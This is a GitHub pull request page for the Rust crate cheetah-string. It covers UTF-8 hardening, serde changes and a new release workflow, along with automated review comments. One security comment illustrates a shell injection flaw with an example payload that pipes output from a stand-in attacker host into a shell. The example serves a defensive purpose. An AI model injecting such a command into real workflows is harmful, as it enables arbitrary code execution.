Feat: Harden string invariants, serde semantics, Cargo features, and release automation#116
Conversation
|
Warning Review limit reached
More reviews will be available in 53 minutes and 4 seconds. Learn how PR review limits work. Your organization has used up its prepaid credits, and credit purchases are no longer available. Enable the review add-on in the billing tab to keep reviews running — you're only billed for reviews past your plan's rate limits ($0.25/file). ⌛ How to resolve this issue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based credits. 🚦 How do rate limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan refill rate. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, the refill rate gradually slows as usage increases. The highest same-day bursts are limited more strictly. Please see our Fair Usage Limits Policy for further information. 📝 WalkthroughWalkthroughReplaces all infallible byte-to- ChangesUTF-8 Hardening, Serde Normalization, and v1.1.0 Release
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related issues
Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Pull request overview
This PR advances cheetah-string toward a safer, more consistent public surface by enforcing UTF-8 validity at construction boundaries, aligning serde behavior to string semantics, correcting Cargo feature wiring for optional bytes, and adding automation for releasing v1.1.0.
Changes:
- Harden UTF-8 invariants by introducing checked
TryFrompaths and explicitunsafeunchecked constructors; update call sites/tests accordingly. - Normalize
CheetahStringserde serialization to always serialize as a string and validate UTF-8 on byte-based deserialization inputs. - Make
bytesan optional dependency with proper feature wiring; bump crate/docs to1.1.0and add a tag-driven GitHub Actions release workflow.
Reviewed changes
Copilot reviewed 8 out of 8 changed files in this pull request and generated 3 comments.
Show a summary per file
| File | Description |
|---|---|
tests/basic.rs |
Updates tests to use checked constructors and adds new TryFrom trait coverage (including invalid UTF-8 cases). |
src/serde.rs |
Changes serde behavior to serialize as string and validates UTF-8 when deserializing from byte inputs. |
src/lib.rs |
Updates crate-level docs to reference 1.1.0. |
src/cheetah_string.rs |
Introduces TryFrom implementations, adds deprecated checked shims + explicit unsafe constructors, and tightens invariant story around UTF-8. |
README.md |
Updates dependency examples to 1.1.0. |
Cargo.toml |
Bumps version to 1.1.0 and fixes optional dependency/feature wiring for bytes and serde. |
benches/comprehensive.rs |
Updates benches to use checked construction (try_from_vec). |
.github/workflows/release.yml |
Adds a release workflow to validate, package, publish, and create a GitHub release on version tags / manual dispatch. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| /// | ||
| /// The caller must guarantee that `s` contains valid UTF-8 for the entire | ||
| /// lifetime of the returned `CheetahString`. |
| impl<'a> TryFrom<&'a [u8]> for CheetahString { | ||
| type Error = Utf8Error; | ||
|
|
||
| #[inline] | ||
| fn from(b: &[u8]) -> Self { | ||
| // SAFETY: This is unsafe and may cause UB if bytes are not valid UTF-8. | ||
| // This will be deprecated in favor of try_from_bytes in the next version. | ||
| CheetahString::from_slice(unsafe { str::from_utf8_unchecked(b) }) | ||
| fn try_from(b: &'a [u8]) -> Result<Self, Self::Error> { | ||
| CheetahString::try_from_bytes(b) | ||
| } |
| impl Serialize for CheetahString { | ||
| fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error> | ||
| where | ||
| S: Serializer, | ||
| { | ||
| match &self.inner { | ||
| InnerString::Inline { len, data } => { | ||
| // Safety: InnerString::Inline guarantees that data[0..len] is valid UTF-8 | ||
| let s = unsafe { str::from_utf8_unchecked(&data[..*len as usize]) }; | ||
| serializer.serialize_str(s) | ||
| } | ||
| InnerString::StaticStr(s) => serializer.serialize_str(s), | ||
| InnerString::ArcStr(s) => serializer.serialize_str(s.as_ref()), | ||
| InnerString::Owned(s) => serializer.serialize_str(s.as_str()), | ||
| InnerString::ArcString(s) => serializer.serialize_str(s.as_str()), | ||
| InnerString::ArcVecString(s) => serializer.serialize_bytes(s), | ||
| #[cfg(feature = "bytes")] | ||
| InnerString::Bytes(bytes) => serializer.serialize_bytes(bytes.as_ref()), | ||
| } | ||
| serializer.serialize_str(self.as_str()) | ||
| } |
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (3)
.github/workflows/release.yml (3)
51-51: 💤 Low valueFragile package selection assumes single-crate repository.
Using
packages[0]works for single-package repositories but will silently break if the repository becomes a workspace. Filter by package name for robustness.♻️ Proposed improvement
- MANIFEST_VERSION="$(cargo metadata --no-deps --format-version 1 | python3 -c 'import json, sys; print(json.load(sys.stdin)["packages"][0]["version"])')" + MANIFEST_VERSION="$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[] | select(.name == "cheetah-string") | .version')"This also replaces
python3withjq, which is already available in GitHub runners and more idiomatic for JSON processing.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/release.yml at line 51, The MANIFEST_VERSION extraction in the release workflow uses packages[0] which assumes a single-crate repository and will break if the repository becomes a workspace with multiple packages. Replace the python3 JSON parsing approach with jq (which is already available in GitHub runners) and filter the packages array by the actual package name instead of taking the first element, ensuring the correct version is extracted even in a multi-crate workspace configuration.
60-78: 💤 Low valueUse environment variable for step output reference for consistency.
While
steps.version.outputs.taghas been validated, using environment variables consistently for all interpolations improves maintainability and reduces the cognitive load of determining which interpolations are "safe."♻️ Proposed fix
- name: Create tag for manual release if: github.event_name == 'workflow_dispatch' shell: bash + env: + TAG: ${{ steps.version.outputs.tag }} run: | - TAG="${{ steps.version.outputs.tag }}" CURRENT_SHA="$(git rev-parse HEAD)"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/release.yml around lines 60 - 78, The "Create tag for manual release" step references the step output directly using ${{ steps.version.outputs.tag }} in the bash script. For consistency and maintainability, convert this to use an environment variable instead. Add an env section to the step that exports the tag output as an environment variable (e.g., TAG), then update the TAG assignment in the run block to reference this environment variable using standard bash syntax instead of the GitHub Actions step output syntax.
95-98: Switch to OIDC trusted publishing instead of managing long-lived tokens.Crates.io supports OIDC-based trusted publishing, which eliminates the need for stored API tokens. Update the workflow to use
rust-lang/crates-io-auth-actionto exchange a short-lived OIDC token for a temporary crates.io access token. This requires:
- Setting
permissions: { id-token: write }on the publish job- Adding an authentication step using
rust-lang/crates-io-auth-action@v1- Configuring a Trusted Publisher on crates.io (specify the repository, workflow file name, and optionally an environment)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/release.yml around lines 95 - 98, The workflow currently uses a long-lived stored token for crates.io publishing. Replace this with OIDC trusted publishing by: (1) adding job-level permissions with id-token write access, (2) adding a new step before the "Publish crate to crates.io" step that uses the rust-lang/crates-io-auth-action@v1 action to exchange an OIDC token for a temporary crates.io token, (3) capturing the token output from the auth action, and (4) updating the cargo publish step to use the temporary token from the auth action output instead of the CARGO_REGISTRY_TOKEN secret.Source: Linters/SAST tools
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/release.yml:
- Around line 40-44: The shell script directly interpolates the GitHub Actions
expression ${{ inputs.version }} which creates a shell injection vulnerability
if malicious input containing shell metacharacters is provided. Pass the
untrusted input via an environment variable instead by adding an env section at
the run step level to expose inputs.version as an environment variable (e.g.,
INPUT_VERSION), then replace the direct interpolation in the conditional block
with a reference to that environment variable (e.g., $INPUT_VERSION) to safely
pass the input to the shell.
- Around line 26-34: The workflow file uses action references with tags
(checkout@v4 and rust-toolchain@stable) instead of pinned commit SHAs, which
poses a supply chain security risk. Replace the tag-based references in both the
"Checkout code" and "Set up Rust" steps with their full commit SHAs.
Additionally, add the persist-credentials property set to false in the checkout
action to prevent git credentials from persisting in the workspace. If upgrading
the checkout action, consider using v7.0.0 or later as mentioned in the review.
---
Nitpick comments:
In @.github/workflows/release.yml:
- Line 51: The MANIFEST_VERSION extraction in the release workflow uses
packages[0] which assumes a single-crate repository and will break if the
repository becomes a workspace with multiple packages. Replace the python3 JSON
parsing approach with jq (which is already available in GitHub runners) and
filter the packages array by the actual package name instead of taking the first
element, ensuring the correct version is extracted even in a multi-crate
workspace configuration.
- Around line 60-78: The "Create tag for manual release" step references the
step output directly using ${{ steps.version.outputs.tag }} in the bash script.
For consistency and maintainability, convert this to use an environment variable
instead. Add an env section to the step that exports the tag output as an
environment variable (e.g., TAG), then update the TAG assignment in the run
block to reference this environment variable using standard bash syntax instead
of the GitHub Actions step output syntax.
- Around line 95-98: The workflow currently uses a long-lived stored token for
crates.io publishing. Replace this with OIDC trusted publishing by: (1) adding
job-level permissions with id-token write access, (2) adding a new step before
the "Publish crate to crates.io" step that uses the
rust-lang/crates-io-auth-action@v1 action to exchange an OIDC token for a
temporary crates.io token, (3) capturing the token output from the auth action,
and (4) updating the cargo publish step to use the temporary token from the auth
action output instead of the CARGO_REGISTRY_TOKEN secret.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 10129581-8f30-4138-8076-73ea4c3961f6
📒 Files selected for processing (8)
.github/workflows/release.ymlCargo.tomlREADME.mdbenches/comprehensive.rssrc/cheetah_string.rssrc/lib.rssrc/serde.rstests/basic.rs
| - name: Checkout code | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| fetch-depth: 0 | ||
|
|
||
| - name: Set up Rust | ||
| uses: dtolnay/rust-toolchain@stable | ||
| with: | ||
| toolchain: stable |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
What are the latest commit SHAs for actions/checkout v4 and dtolnay/rust-toolchain stable?
💡 Result:
As of June 20, 2026, the latest commit SHAs for these actions are as follows: 1. actions/checkout@v4: The v4 branch for actions/checkout is a moving target that receives updates [1][2][3]. As it is not a static tag, the specific commit SHA associated with the v4 reference can change over time. To obtain the current absolute SHA, you should check the official actions/checkout repository [1]. 2. dtolnay/rust-toolchain stable: This action does not use a single "stable" commit SHA [4][5]. Instead, the toolchain (e.g., "stable", "nightly", or specific versions like "1.94.1") is selected using an input within your workflow file, and the action itself is typically pinned to a commit on the master branch [4][6][7]. The author recommends pinning the action to a full-length commit SHA from the master branch history to ensure security and stability, rather than relying on dynamic tags [4][6][5]. As of March 27, 2026, a recent commit on the master branch is 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 [7]. For security-conscious workflows, it is recommended to inspect the repository history directly to select a verified commit SHA on the master branch for dtolnay/rust-toolchain, or check the specific ref for actions/checkout [1][4][6].
Citations:
- 1: https://github.com/actions/checkout/tree/v4
- 2: https://github.com/actions/checkout/blob/v4/CHANGELOG.md
- 3: actions/checkout@3df4ab1...8ade135
- 4: https://github.com/dtolnay/rust-toolchain
- 5: Support hash-based pinning of action version dtolnay/rust-toolchain#126
- 6: https://github.com/dtolnay/rust-toolchain/blob/master/README.md
- 7: dtolnay/rust-toolchain@3c5f7ea
🏁 Script executed:
# Check if we can access information about the proposed SHAs from GitHub
# For actions/checkout
curl -s -I "https://github.com/actions/checkout/commit/11bd71901bbe5b1630ceea73d27597364c9af683" -w "\nStatus: %{http_code}\n" | tail -5
# For dtolnay/rust-toolchain
curl -s -I "https://github.com/dtolnay/rust-toolchain/commit/b3b07ba8b418998c39fb20f53e8b695cdcc8de1b" -w "\nStatus: %{http_code}\n" | tail -5Repository: mxsm/cheetah-string
Length of output: 457
🌐 Web query:
What is the current latest stable version/commit SHA of actions/checkout as of June 2026?
💡 Result:
As of June 20, 2026, the latest stable version of actions/checkout is v7.0.0, which was released on June 18, 2026 [1][2]. The commit SHA associated with the v7.0.0 tag is 6927d6d9d1502f61c3905c1069b2d398d57d5904 (this can be verified via the repository's tags on GitHub) [1][2].
Citations:
- 1: https://github.com/actions/checkout/releases
- 2: https://github.com/actions/checkout/releases/tag/v7.0.0
🌐 Web query:
What is the current latest commit SHA for dtolnay/rust-toolchain master branch as of June 2026?
💡 Result:
As of June 20, 2026, the dtolnay/rust-toolchain repository continues to use the master branch as its primary development branch [1][2]. The last recorded push to this repository occurred on March 27, 2026, at 15:56:25 UTC [1]. The commit associated with this update is SHA 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9, which added support for the 1.94.1 patch release [3]. There have been no subsequent commits to the master branch since that date. Therefore, the latest commit SHA for the dtolnay/rust-toolchain master branch as of June 20, 2026, is 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 [3].
Citations:
- 1: https://github.com/dtolnay/rust-toolchain
- 2: https://github.com/dtolnay/rust-toolchain/blob/master/README.md
- 3: dtolnay/rust-toolchain@3c5f7ea
Pin action references to commit SHAs and disable credential persistence.
Using tag-based references (@v4, @stable) for actions is a supply chain risk—a compromised tag could inject malicious code. Pin to full commit SHAs instead. Additionally, set persist-credentials: false on checkout to prevent git credentials from persisting in the workspace.
Note: A newer major version of actions/checkout is available. Use v7.0.0 or later.
🔒 Proposed fix
- name: Checkout code
- uses: actions/checkout@v4
+ uses: actions/checkout@6927d6d9d1502f61c3905c1069b2d398d57d5904 # v7.0.0
with:
fetch-depth: 0
+ persist-credentials: false
- name: Set up Rust
- uses: dtolnay/rust-toolchain@stable
+ uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9
with:
toolchain: stable📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Checkout code | |
| uses: actions/checkout@v4 | |
| with: | |
| fetch-depth: 0 | |
| - name: Set up Rust | |
| uses: dtolnay/rust-toolchain@stable | |
| with: | |
| toolchain: stable | |
| - name: Checkout code | |
| uses: actions/checkout@6927d6d9d1502f61c3905c1069b2d398d57d5904 # v7.0.0 | |
| with: | |
| fetch-depth: 0 | |
| persist-credentials: false | |
| - name: Set up Rust | |
| uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 | |
| with: | |
| toolchain: stable |
🧰 Tools
🪛 zizmor (1.25.2)
[warning] 26-29: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
[error] 27-27: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
[error] 32-32: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/release.yml around lines 26 - 34, The workflow file uses
action references with tags (checkout@v4 and rust-toolchain@stable) instead of
pinned commit SHAs, which poses a supply chain security risk. Replace the
tag-based references in both the "Checkout code" and "Set up Rust" steps with
their full commit SHAs. Additionally, add the persist-credentials property set
to false in the checkout action to prevent git credentials from persisting in
the workspace. If upgrading the checkout action, consider using v7.0.0 or later
as mentioned in the review.
Source: Linters/SAST tools
| if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then | ||
| VERSION="${{ inputs.version }}" | ||
| else | ||
| VERSION="${GITHUB_REF_NAME#v}" | ||
| fi |
There was a problem hiding this comment.
Fix template injection vulnerability in shell script.
The ${{ inputs.version }} expression is interpolated directly into the shell script before execution. A malicious input containing shell metacharacters (e.g., "; curl evil.com | sh #) could escape the quotes and execute arbitrary code. While workflow_dispatch requires write access, defense-in-depth is essential for release workflows.
Pass untrusted inputs via environment variables instead of direct interpolation.
🔒 Proposed fix
- name: Resolve release version
id: version
shell: bash
+ env:
+ VERSION_INPUT: ${{ inputs.version }}
run: |
if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
- VERSION="${{ inputs.version }}"
+ VERSION="$VERSION_INPUT"
else
VERSION="${GITHUB_REF_NAME#v}"
fi🧰 Tools
🪛 zizmor (1.25.2)
[error] 41-41: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/release.yml around lines 40 - 44, The shell script
directly interpolates the GitHub Actions expression ${{ inputs.version }} which
creates a shell injection vulnerability if malicious input containing shell
metacharacters is provided. Pass the untrusted input via an environment variable
instead by adding an env section at the run step level to expose inputs.version
as an environment variable (e.g., INPUT_VERSION), then replace the direct
interpolation in the conditional block with a reference to that environment
variable (e.g., $INPUT_VERSION) to safely pass the input to the shell.
Source: Linters/SAST tools
Implements the foundation stages from the architecture plan.
Scope:
TryFromAPIs and explicit unsafe constructors.CheetahStringserde to string semantics.bytes.Verification:
cargo fmt -- --checkcargo clippy --all-targets --all-features -- -D warningscargo test --all-featurescargo test --no-default-featurescargo test --no-default-features --features "serde bytes simd"cargo package --allow-dirtyCloses #106.
Closes #107.
Closes #108.
Summary by CodeRabbit
Release v1.1.0
New Features
TryFromtrait implementations for byte constructors with UTF-8 validation.Deprecations
from_vec(),from_arc_vec(), andfrom_bytes()methods in favor ofTryFromtraits.Chores